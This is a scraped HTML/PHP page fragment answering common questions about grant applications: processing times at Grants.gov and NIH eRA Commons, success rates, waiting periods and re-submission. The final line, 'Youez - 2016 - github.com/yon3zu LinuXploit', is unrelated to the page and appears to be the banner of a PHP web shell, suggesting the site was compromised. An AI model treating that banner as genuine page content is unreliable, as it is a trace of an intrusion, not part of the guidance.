			How long does it take to have your application processed electronically?</b></p>
			<p><b>A:</b>  Grants.gov 
			can take up to two business days to process an application.  NIH, through <a name="0.1_indexentryA3"></a>eRA 
			Commons, generally takes one day.    <br></p>
			<p><b>Q:  
			What is the <a name="0.1_indexentryA4"></a>success rate for receiving 
			<a name="0.1_indexentryA5"></a>grants? </b></p>
			<p><b>A:</b>  The success rate 
			for winning grants depends upon the particular grant you apply for, 
			the particular grantor, the number of grant applicants, and many other 
			factors.  By using the information and keys to grant success contained 
			in these chapters, you can better prepare yourself for the grant proposal 
			application process.   <br></p>
			<p><b>Q:  
			How long does it take to receive a grant?</b></p>
			<p><b>A: </b>
			 There is no basic rule of thumb, but it helps to be patient during 
			this time, and follow all the after-submission recommendations.  Every 
			grant program has different qualifications, rules, and <a name="0.1_indexentryA6"></a>time 
			frames.  Some <a name="0.1_indexentryA7"></a>grantors may tell you approximately 
			how long their process takes, or you can call and ask them.  Some grantors 
			have <a name="0.1_indexentryA8"></a>deadlines spaced at different times 
			throughout the year, while some offer the same grant opportunity at 
			the same time each year.  Others operate on a first-come, first-served 
			basis, so you may have to wait to submit your grant application until 
			their next grant cycle.  Many people think that waiting a few months 
			is a long time, so they may decide not to apply for the grant because 
			they do not want to wait that long.  It is our expectation that 
			you will recognize that the benefits of applying for a grant application 
			are well worth the wait. <br></p>
			<p><b>Q:  
			What is a “good reason” to decide not to apply because of the wait 
			time? </b></p>
			<p><b>A:</b>  One reason 
			could be that the grantor’s schedule or time frame differs so much 
			from your project plans that you should seek other <a name="0.1_indexentryA9"></a>grant 
			opportunities. <br></p>
			<p><b>Q:</b>  <b>What if I do 
			not get the grant I applied for? </b></p>
			<p><b>A:</b>  You will always 
			be notified whether your grant application was accepted in full, partially 
			accepted, or denied.  Based on the results, it is up to you what you 
			action to take at that point.  You may consider re-submission, or you 
			may apply to other <a name="0.1_indexentryAA"></a>grantors if you still 
			believe in your project.  In any case, you should always apply 
			for more than one grant, and to more than one grantor.</p>
		
		</div> <!--end right container-->
		
		<div style="clear:both;"></div>
	
	</div> <!--end main content container-->
		</td>	
	</tr>
	
<?php include('footer.php');?>


Youez - 2016 - github.com/yon3zu
LinuXploit